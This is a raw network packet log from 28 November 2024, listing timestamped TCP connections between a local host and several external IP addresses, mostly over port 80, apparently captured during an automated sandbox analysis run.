Nov 28, 2024 02:27:43.899477959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.899490118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.899538040 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.900445938 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.900510073 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.901355982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.901406050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.902144909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.902158022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.902194023 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.902215004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.903170109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.903182983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.903234959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.903280020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.904114008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.904126883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.904172897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.959217072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.959304094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.959678888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.959692001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.959734917 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.959814072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.959877968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.960695982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.960758924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.960800886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.960832119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.961725950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.961774111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.962047100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.962153912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.962196112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.963157892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.963278055 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.963327885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.964139938 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.964209080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.964694023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.964756012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.965137005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.965192080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.965606928 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.965656996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.966202974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.966217995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.966253996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.966278076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.967209101 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.967257023 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.967500925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.967683077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.968251944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.968303919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.968640089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.968694925 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.969274044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.969424009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.970144987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.970232964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.970338106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.970350981 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.970370054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.970390081 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.971350908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.971410990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.971887112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.971945047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.972407103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.972419024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.972465992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.972502947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.973413944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.973568916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.974450111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.974462986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.974503994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.974626064 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.974706888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.975512028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.975528955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.975573063 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.975596905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.976505041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.976691008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.977416992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.977456093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.977566004 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.977577925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.977601051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.977622032 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.978634119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.978646040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.978682995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.979625940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.979713917 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.979854107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.979899883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.980632067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.980688095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.981596947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.981723070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.981734991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.981781006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.983490944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.983510017 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.983553886 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.983588934 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.983864069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.983876944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.983897924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.983922005 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.984777927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.984842062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.984886885 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.984921932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.985801935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.985846996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.986036062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.986073971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.986830950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.986872911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.987112045 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.987154961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.987879992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.987940073 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.988126040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.988176107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.988903046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.988965034 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.989016056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.989067078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.989926100 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.990006924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.990088940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.990153074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.990955114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.991004944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.991051912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.991096020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.992010117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.992082119 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:43.992465019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:43.992511988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.017035961 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.017100096 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.017179966 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.017638922 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.017638922 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.017657042 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.017668009 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.021514893 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.021559000 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.021627903 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.021789074 CET	49880	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.021801949 CET	443	49880	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.054130077 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.054158926 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:44.054214954 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.054599047 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.054632902 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:44.054765940 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.054975033 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.054987907 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:44.055150032 CET	49882	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:44.055169106 CET	443	49882	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:44.077528000 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.077609062 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.077657938 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.077887058 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.077903986 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.077960968 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.077966928 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.080869913 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.080913067 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.081069946 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.081316948 CET	49883	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.081326008 CET	443	49883	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.085035086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.085148096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.085176945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.085207939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.085545063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.085556984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.085599899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.086441040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.086482048 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.086569071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.086606026 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.087443113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.087454081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.087486982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.087507010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.088432074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.088498116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.088577032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.088710070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.089629889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.089715958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.089968920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.090070009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.091196060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.091207027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.091242075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.091270924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.092247963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.092259884 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.092299938 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.093281984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.093378067 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.093807936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.093884945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.094640970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.094686985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.094696999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.094718933 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.095765114 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.095777035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.095814943 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.097089052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.097135067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.097143888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.097167969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.097871065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.097882032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.097908974 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.097938061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.099035025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.099117041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.099837065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.099884987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.100302935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.100305080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.100373983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.101346016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.101356983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.101388931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.102777958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.102791071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.102818966 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.102839947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.103795052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.103956938 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.104726076 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.104794025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.105664968 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.105676889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.105709076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.105731964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.106606007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.106616974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.106679916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.106679916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.107594013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.107645988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.160478115 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.160567999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.160856962 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.160907984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.160995960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.161012888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.161062956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.161995888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.162065029 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.162422895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.162477016 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.163002014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.163063049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.163355112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.163412094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.163444042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.163486004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.164387941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.164446115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.164769888 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.164834976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.165414095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.165462971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.165524006 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.165719032 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.166476965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.166524887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.167527914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.167541027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.167587042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.167659998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.167711020 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.168214083 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.168281078 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.168345928 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.168548107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.168553114 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.168579102 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.168589115 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.168595076 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.168611050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.168643951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.168682098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.169543982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.169595003 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.169785023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.169836998 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.170628071 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.170640945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.170670986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.170689106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.171664953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.171678066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.171730042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.172533035 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.172574997 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.172646999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.172656059 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.172688007 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.172810078 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.172857046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.172869921 CET	49884	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.172883987 CET	443	49884	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.173729897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.173743010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.173800945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.173855066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.174751997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.174763918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.174799919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.175760984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.175967932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.176791906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.176804066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.176853895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.176924944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.176976919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.177813053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.177858114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.178878069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.178889990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.178944111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.179014921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.179060936 CET	49823	80	192.168.2.6	185.215.113.206
